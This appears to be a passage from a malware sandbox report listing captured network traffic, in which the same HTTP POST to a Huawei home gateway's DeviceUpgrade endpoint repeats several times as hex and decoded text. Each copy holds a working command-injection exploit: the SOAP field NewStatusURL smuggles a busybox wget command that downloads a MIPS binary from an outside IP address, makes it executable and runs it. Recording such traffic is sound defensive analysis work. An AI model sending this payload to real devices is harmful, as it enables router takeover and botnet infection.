2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 2.56.57.187 -l /tmp/kh -r /bins/mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 2e 35 36 2e 35 37 2e 31 38 37 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 2.56.57.187 -l /tmp/kh -r /bins/mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 2e 35 36 2e 35 37 2e 31 38 37 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 2.56.57.187 -l /tmp/kh -r /bins/mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 2e 35 36 2e 35 37 2e 31 38 37 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 2.56.57.187 -l /tmp/kh -r /bins/mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 2e 35 36 2e 35 37 2e 31 38 37 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 2.56.57.187 -l /tmp/kh -r /bins/mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 2e 35 36 2e 35 37 2e 31 38 37 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 2.56.57.187 -l /tmp/kh -r /bins/mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 2e 35 36 2e 35 37 2e 31 38 37 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 2.56.57.187 -l /tmp/kh -r /bins/mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 2e 35 36 2e 35 37 2e 31 38 37 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 2.56.57.187 -l /tmp/kh -r /bins/mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 2e 35 36 2e 35 37 2e 31 38 37 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 2.56.57.187 -l /tmp/kh -r /bins/mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 2e 35 36 2e 35 37 2e 31 38 37 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 2.56.57.187 -l /tmp/kh -r /bins/mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
